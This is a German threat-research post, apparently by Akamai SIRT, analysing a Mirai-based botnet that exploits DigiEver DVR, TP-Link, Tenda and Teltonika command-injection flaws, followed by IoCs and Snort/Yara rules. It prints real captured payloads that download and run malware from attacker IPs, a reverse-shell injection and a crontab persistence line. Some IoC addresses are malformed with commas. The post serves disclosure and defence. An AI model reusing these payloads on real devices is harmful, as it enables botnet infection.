Eine Schwachstelle in DigiEver DS-2105 Pro DVRs wird ausgenutzt, um Malware zu verbreiten
Zusammenfassung
Eine Schwachstelle in DigiEver DS-2105 Pro DVRs wird ausgenutzt, um Malware zu verbreiten.
Das Akamai Security Intelligence Research Team (SIRT) hat diese Aktivität am 18. November 2024 in seinen Honeypots bemerkt.
Die Schwachstelle wurde ursprünglich von Ta-Lun Yen entdeckt und eine CVE-Kennung wurde vom Akamai SIRT angefordert.
Bei der Malware handelt es sich um eine Mirai-Variante, die modifiziert wurde, um verbesserte Verschlüsselungsalgorithmen zu verwenden.
Wir haben in diesem Blogbeitrag eine Liste von Indikatoren für eine Kompromittierung (Indicators of Compromise, IoCs) zusammengestellt, um diese Bedrohung abzuwehren.
INHALTSWARNUNG: Die für diese Malware verantwortlichen Cyberkriminellen verwenden Inhaltsbenennungen, die als anstößig empfunden werden können. Wir haben sie nicht unkenntlich gemacht, um eine Entdeckung zu erleichtern, da diese Kampagne derzeit im freien Internet aktiv ist.
Einführung und Entdeckung
Mitte November 2024 hat das Akamai SIRT in unserem globalen Honeypot-Netzwerk einen Anstieg von Aktivitäten entdeckt, die auf den URI /cgi-bin/cgi_Main.cgi abzielen. Diese Aktivität scheint Teil einer aktuellen, auf Mirai basierenden Malware-Kampagne zu sein, die mindestens bis Oktober 2024 zurückreicht.
Die Schwachstelle hat derzeit keine CVE-Zuweisung, scheint aber ursprünglich von Ta-Lun Yen von TXOne Research entdeckt und veröffentlicht worden zu sein. In dieser Veröffentlichung schrieb er diese RCE-Schwachstelle (Remotecodeausführung) mehreren DVR-Geräten zu, darunter dem Modell DigiEver DS-2105 Pro. Unsere Analysten stellten fest, dass die von uns beobachteten Exploit-Versuche mit dieser veröffentlichten Schwachstellen-Studie übereinstimmen.
Eine weitere Untersuchung dieser Kampagne ergab ein neues Botnet, das sich selbst „Hail Cock Botnet“ nennt und seit mindestens September 2024 aktiv ist. Mithilfe einer Mirai-Malware-Variante, die ChaCha20- und XOR-Entschlüsselungsalgorithmen verwendet, wurden anfällige Internet-of-Things-Geräte (IoT) in freier Wildbahn kompromittiert, wie z. B. DigiEver DVR und TP-Link-Geräte über CVE-2023-1389
Die Schwachstelle
Die DigiEver DVR-Schwachstelle entdeckte der TXOne-Forscher, nachdem er während eines Penetrationstests einige exponierte IP-Adressbereiche untersucht hatte. Durch Shodans Anfragen konnte er viele der IP-Adressen als historisch anfällige Geräte identifizieren, z. B. DVRs. Er konnte die DigiEver-DVR-Firmware emulieren und stellte fest, dass /cgi-bin/cgi_Main.cgi einer der CGI-Endpunkte war (Abbildung 1).
Über diesen Endpunkt konnte der Forscher eine RCE erreichen (Abbildung 2).
Aktiver Exploit
Das Akamai SIRT stellte fest, dass dieser URI am 18. November 2024 von einem unbekannten Cyberkriminellen angegriffen wurde. Wir konnten die Syntax des Payloads, den wir in unseren Honeypots beobachtet haben, mit dem Proof of Concept (PoC) aus der Forschungspublikation vergleichen (Abbildung 3).
cgiName=time_tzsetup.cgi&page=/cfg_system_time.htm&id=69&ntp=`rm x86;curl --output x86 http://154.216.17[.]126/x86; chmod 777 *; ./x86 nvr`&ntp1=time.stdtime.gov.tw&ntp2=`rm x86;curl --output x86 http://154.216.17[.]126/x86; chmod 777 *; ./x86 nvr`&isEnabled=0&timeDiff=+9&ntpAutoSync=1&ntpSyncMode=1&day=0&hour=0&min=0&syncDiff=30
Abb. 3: Payload, der auf die DigiEver-RCE-Schwachstelle abzielt (URL entschlüsselt)
Die Schwachstelle scheint eine Command-Injection als Argument in den ntp-Parameter zu ermöglichen. In diesem Beispiel wird ein Remote-Server kontaktiert, der Malware hostet, um Mirai-basierte Malware herunterzuladen. Diese Sessions werden als HTTP-POST-Anforderungen über Port 80 mit „**IP-Adresse**:80/cfg_System_time.htm“ als HTTP-Referer-Header eingegeben.
Neben dem DigiEver RCE-Exploit zielt dieses Botnet auch auf andere Schwachstellen wie CVE-2023-1389 ab, die TP-Link-Geräte betreffen (Abbildung 4).
GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget+http://45.202.35[.]24/l+-O-|+sh`) HTTP/1.1
Host: localhost:80
User-Agent: Go-http-client/1.1
Abb. 4: Payload, der auf CVE-2023-1389 abzielt
Das Botnet nutzt diese Command-Injection-Schwachstelle im /cgi-bin/luci;stok=/locale-Endpunkt auf der TP-Link-Webverwaltungsschnittstelle aus, um ein schädliches Shell-Skript herunterzuladen und auszuführen. Dieses Skript lädt den Mirai-Malware-Payload herunter und führt ihn auf dem Zielsystem aus (Abbildung 5).
Das Botnet zielt auch auf die Remote-Command-Injection-Schwachstelle in Tenda HG6 v3.3.0 ab (Abbildung 6).
/boaform/admin/formTracert target_addr=;`rm+/tmp/f%3bmknod+/tmp/f+p%3bcat+/tmp/f|/bin/sh+-i+2>%261|wget+http://45.202.35[.]24/b+-O-|+sh+>/tmp/f`&waninf=1_INTERNET_R_VID_
Abb. 6: Payload, der auf Tenda HG6 abzielt
Wir konnten beobachten, dass dieses Botnet neben den beschriebenen auch auf weitere Schwachstellen ausgerichtet ist, darunter CVE-2018-17532, eine Schwachstelle, die Teltonika RUT9XX-Router beeinträchtigt. Bei dem Exploit wird ein Shell-Skript heruntergeladen und über eine wget-Anforderung ausgeführt, die wiederum eine zusätzliche Anforderung zum Herunterladen und Ausführen der Malware auf dem Zielcomputer stellt (Abbildung 7).
Die Malware
Die von uns identifizierten Malware-Samples waren Mirai-basierte Malware-Varianten, die in verschiedenen Architekturen verteilt wurden, darunter x86, ARM, MIPS und mehr. Ein besonders interessanter Aspekt an diesen Samples war die Verwendung von XOR und ChaCha20 für ihren Entschlüsselungsalgorithmus.
Einige der Zeichenfolgen, die im Abschnitt zur dynamischen Analyse zu sehen sind, wie z. B. die Ausgabe von „you are now apart of hail cock botnet“ an die Konsole, waren weder im Abschnitt zu menschenlesbaren Zeichenfolgen der Malware noch in den dekodierten XOR-Zeichenfolgen zu sehen.
Wir haben herausgefunden, dass ein unabhängiger Sicherheitsforscher in Japan einige interessante Erkenntnisse über diese Malware veröffentlicht hat. Er entdeckte, dass die Malware diese Zeichenfolge entschlüsselte und auf der Konsole anzeigte, wobei die Zeichenfolge im Datensegment der Binärdatei gespeichert war (Abbildung 8).
Wenn geprüft wird, wo dieser Ausgabe eine Zeichenfolge zugewiesen ist, werden die Zeichenfolgenentschlüsselungsfunktion (FUN_00408500) und die Zeichenfolgenposition (DAT_005166a0) als Argument angezeigt. Nach der Initialisierung wird die nächste Funktion verwendet, um die verschlüsselte Zeichenfolge aus dem zweiten Argument zu verarbeiten und im Speicher zu speichern (Abbildung 9).
Bei der Untersuchung der Funktion „FUN_00404960“ stellte der Forscher fest, dass der letzte Schritt eine XOR-Operation beinhaltet. In Abschnitten, in denen Konstanten verwendet und in ASCII-Code konvertiert werden, gibt die Funktion die Zeichenfolge „Expand 32-Byte k“ zurück. Diese Zeichenfolge ist eine bekannte Konstante in kryptografischen Algorithmen wie Salsa20 und ChaCha20, was darauf hinweist, dass die Funktion „FUN_00404960“ für die Entschlüsselung verantwortlich ist (Abbildung 10).
Die Anwendung komplexer Entschlüsselungsmethoden ist zwar nicht neu, legt aber den Schluss nahe, dass Betreiber von Mirai-basierten Botnets neue Taktiken, Techniken und Verfahren anwenden. Dies ist vor allem deshalb bemerkenswert, weil viele Mirai-basierte Botnets immer noch von der ursprünglichen Stringverschleierungslogik aus recyceltem Code abhängen, der in der ursprünglichen Version des Mirai-Malware-Quellcodes enthalten war.
Ausgehend von der statischen Zeichenfolgenanalyse verwendet die Malware viele standardmäßige oder weit verbreitete Anmeldeinformationen für verschiedene Geräte, um das Botnet auf zusätzliche Hosts zu verbreiten. Zu den ursprünglichen Anmeldeinformationen, die bei Auslieferung in Mirai enthalten waren, wurden viele neue Paare hinzugefügt, darunter beispielsweise die Zeichenfolge „telecomadmin“ (der Standardnutzername für das Huawei ONT HG8245H5 Fiber Termination Kit) und das Standardkennwort für einige Router, die den Realtek-Chipsatz verwenden.
Sandbox-Details
Durch das Ausführen von Malware-Samples in dynamischen Sandbox-Umgebungen konnten wir zusätzliche IoCs und bemerkenswerte Zeichenfolgen aus der Malware identifizieren. Ein derartiges Verhalten war die Erstellung eines Cron-Jobs zum Herunterladen und Ausführen eines Shell-Skripts aus der Domäne „hailcocks[.]ru“, um die Persistenz zu erhalten (Abbildung 11). Dabei wird versucht, die Datei „wget.sh“ von demselben Server mit curl und/oder wget herunterzuladen, um die Kompatibilität zu gewährleisten, falls eine von ihnen nicht auf dem kompromittierten Host installiert ist.
sh -c "(crontab -l ; echo \"@reboot cd /tmp; wget http://hailcocks[.]ru/wget.sh; curl --output wget.sh http://hailcocks[.]ru/wget.sh; chmod 777 wget.sh; ./wget.sh\") | crontab -"
Abb. 11: Persistenz über crontab
Nach der Ausführung stellte die Malware eine Verbindung zu einer größeren Anzahl von Hosts her, was dem typischen Mirai-Telnet- und SSH-Brute-Forcing-Verhalten entspricht. Es stellt auch eine Verbindung zu einer separaten IP-Adresse her, wobei A-Datensätze in die Domäne „kingstonwikkerink[.]dyn“ für Befehls- und Kontrollkommunikation (C2) aufgelöst werden.
Außerdem wird bei Hosts, die von dieser Malware kompromittiert sind, bei der Ausführung der Malware eine eindeutige Zeichenfolge auf der Konsole ausgegeben. Bei älteren Versionen der Malware wird die Zeichenfolge „you are now apart of hail cock botnet“ angezeigt (Abbildung 12). Neuere Versionen der Malware geben stattdessen die Zeichenfolge „I just wanna look after my cats, man.“ auf der Konsole aus (Abbildung 13).
Fazit
Cyberkriminelle setzen auch weiterhin auf das Erbe der Mirai-Malware, um Botnet-Kampagnen über Jahre hinweg aufrechtzuerhalten, und das neue Hail-Cock-Botnet bildet keine Ausnahme. Eine der einfachsten Methoden für Cyberkriminelle, um neue Hosts zu kompromittieren, besteht darin, veraltete Firmware oder ausgemusterte Hardware als Ziel zu nutzen. Ein Beispiel hierfür ist der DigiEver DS-2105 Pro, der mittlerweile etwa zehn Jahre alt ist. Hardware-Hersteller geben oft keine Patches mehr für ausgemusterte Geräte heraus und manchmal ist der Hersteller selbst gar nicht mehr aktiv. Daher empfehlen wir, anfällige Geräte durch ein neueres Modell zu ersetzen, wenn keine Sicherheitspatches verfügbar sind und es wahrscheinlich auch keine mehr geben wird.
IoCs
Wir haben eine Liste von IoCs sowie Snort- und Yara-Regeln zusammengestellt, um Sicherheitsteams zu unterstützen.
Snort-Regeln für Netzwerk-IoCs
Snort-Regeln für C2-IPs
alert tcp $HOME_NET any -> 154.216.17.126 any (msg:"C2 Comms for Hail Cock Botnet to 154.216.17.126"; flow:to_server,established;)
alert tcp $HOME_NET any -> 154.213.187.50 any (msg:"C2 Comms for Hail Cock Botnet to 154.213.187.50"; flow:to_server,established;)
alert tcp $HOME_NET any -> 86.107.100.80 any (msg:"C2 Comms for Hail Cock Botnet to 86.107.100.80"; flow:to_server,established;)
alert tcp $HOME_NET any -> 213.182.204.57 any (msg:"C2 Comms for Hail Cock Botnet to 213.182.204.57"; flow:to_server,established;)
alert tcp $HOME_NET any -> 195.133.92.51 any (msg:"C2 Comms for Hail Cock Botnet to 195.133.92.51"; flow:to_server,established;)
alert tcp $HOME_NET any -> 185.82.200.181 any (msg:"C2 Comms for Hail Cock Botnet to 185.82.200.181"; flow:to_server,established;)
alert tcp $HOME_NET any -> 81.29.149.178 any (msg:"C2 Comms for Hail Cock Botnet to 81.29.149.178"; flow:to_server,established;)
alert tcp $HOME_NET any -> 88.151.195.22 any (msg:"C2 Comms for Hail Cock Botnet to 88.151.195.22"; flow:to_server,established;)
alert tcp $HOME_NET any -> 91.149.218.232 any (msg:"C2 Comms for Hail Cock Botnet to 91.149.218.232"; flow:to_server,established;)
alert tcp $HOME_NET any -> 91.149.238.18 any (msg:"C2 Comms for Hail Cock Botnet to 91.149.238.18"; flow:to_server,established;)
alert tcp $HOME_NET any -> 31.13.248.89 any (msg:"C2 Comms for Hail Cock Botnet to 31.13.248.89"; flow:to_server,established;)
alert tcp $HOME_NET any -> 193.233.193.45 any (msg:"C2 Comms for Hail Cock Botnet to 193.233.193.45"; flow:to_server,established;)
alert tcp $HOME_NET any -> 194.87.198.29 any (msg:"C2 Comms for Hail Cock Botnet to 194.87.198.29"; flow:to_server,established;)
alert tcp $HOME_NET any -> 45.202.35.91 any (msg:"C2 Comms for Hail Cock Botnet to 45.202.35.91"; flow:to_server,established;)
alert tcp $HOME_NET any -> 104.37.188.76 any (msg:"C2 Comms for Hail Cock Botnet to 104.37.188.76"; flow:to_server,established;)
alert tcp $HOME_NET any -> 95.214.53.205 any (msg:"C2 Comms for Hail Cock Botnet to 95.214.53.205"; flow:to_server,established;)
alert tcp $HOME_NET any -> 5.35.104.31 any (msg:"C2 Comms for Hail Cock Botnet to 5.35.104.31"; flow:to_server,established;)
alert tcp $HOME_NET any -> 149.50.106.25 any (msg:"C2 Comms for Hail Cock Botnet to 149.50.106.25"; flow:to_server,established;)
alert tcp $HOME_NET any -> 141.98.11.79 any (msg:"C2 Comms for Hail Cock Botnet to 141.98.11.79"; flow:to_server,established;)
alert tcp $HOME_NET any -> 45.202.35.24 any (msg:"C2 Comms for Hail Cock Botnet to 45.202.35.24"; flow:to_server,established;)
alert tcp $HOME_NET any -> 5.39.254.71 any (msg:"C2 Comms for Hail Cock Botnet to 5.39.254.71"; flow:to_server,established;)
alert tcp $HOME_NET any -> 45.126.50.101 any (msg:"C2 Comms for Hail Cock Botnet to 45.126.50.101"; flow:to_server,established;)
Snort-Regeln für die Erkennung der C2-Domänenauflösung
alert tcp $HOME_NET any -> hailcocks.ru any (msg:"BLOCK Connection to malicious domain - hailcocks.ru"; flow:to_server,established; sid:1000010; rev:1;)
alert tcp $HOME_NET any -> kingstonwikkerink.dyn any (msg:"BLOCK Connection to malicious domain - kingstonwikkerink.dyn"; flow:to_server,established; sid:1000011; rev:1;)
alert tcp $HOME_NET any -> catvision.dyn any (msg:"BLOCK Connection to malicious domain - catvision.dyn"; flow:to_server,established; sid:1000012; rev:1;)
alert tcp $HOME_NET any -> hikvision.geek any (msg:"BLOCK Connection to malicious domain - hikvision.geek"; flow:to_server,established; sid:1000013; rev:1;)
alert tcp $HOME_NET any -> shitrocket.dyn any (msg:"BLOCK Connection to malicious domain - shitrocket.dyn"; flow:to_server,established; sid:1000014; rev:1;)
alert tcp $HOME_NET any -> catlovingfools.geek any (msg:"BLOCK Connection to malicious domain - catlovingfools.geek"; flow:to_server,established; sid:1000015; rev:1;)
Yara-Regeln für Malware-Samples
rule hailcock_malware
{
strings:
$someoffdeeznuts = "someoffdeeznuts"
$ip_address = { 154.213.187.50 }
condition:
any of them
}
rule malware_hashes
{
strings:
$hash_1 = "3c0eb5de2946c558159a6b6a656d463febee037c17a1f605330e601cfcd39615"
$hash_2 = "0d8c3289a2b21abb0d414e2c730d46081e9334a97b5e0b52b9a2f248c59a59ad"
$hash_3 = "b32390e3ed03b99419c736b2eb707886b9966f731e629f23e3af63ea7a91a7af"
$hash_4 = "dec561cc19458ea127dc1f548fcd0aaa51db007fa8b95c353086cd2d26bfcf02"
$hash_5 = "a1b73a3fbd2e373a35d3745d563186b06857f594fa5379f6f7401d09476a0c41"
condition:
any of them
}
rule malicious_domains
{
strings:
$hailcocks = "hailcocks.ru"
$kingstonwikkerink = "kingstonwikkerink.dyn"
$catvision = "catvision.dyn"
$catloving = "catlovingfools.geek"
$hikvision = "hikvision.dyn"
$shitrocket = "shitrocket.dyn"
condition:
any of them
}
IPv4-Adressen der historischen Infrastruktur
154,216.17,126
154.213.187.50
86.107.100.80
213.182.204.57
195.133.92,51
185.82.200,181
81.29.149,178
88.151.195.22
91.149.218.232
91.149.238.18
31.13.248,89
193.233.193.45
194.87.198,29
45.202.35,91
104.37.188,76
95.214.53,205
5.35.104,31
149.50.106,25
141.98.11,79
45.202.35,24
5.39.254,71
45.125.66,90
91.132.50,181
Domänen für C2- und Malware-Verteilungs-Endpunkte
hailcocks[.]ru
kingstonwikkerink[.]dyn
catvision[.]dyn
shitrocket[.]dyn
catlovingfools[.]geek
hikvision[.]geek
SHA256-Hashes
3c0eb5de2946c558159a6b6a656d463febee037c17a1f605330e601cfcd39615
0d8c3289a2b21abb0d414e2c730d46081e9334a97b5e0b52b9a2f248c59a59ad
b32390e3ed03b99419c736b2eb707886b9966f731e629f23e3af63ea7a91a7af
dec561cc19458ea127dc1f548fcd0aaa51db007fa8b95c353086cd2d26bfcf02
a1b73a3fbd2e373a35d3745d563186b06857f594fa5379f6f7401d09476a0c41
31813bb69e10b636c785358ca09d7f91979454dc6fc001f750bf03ad8bde8fe5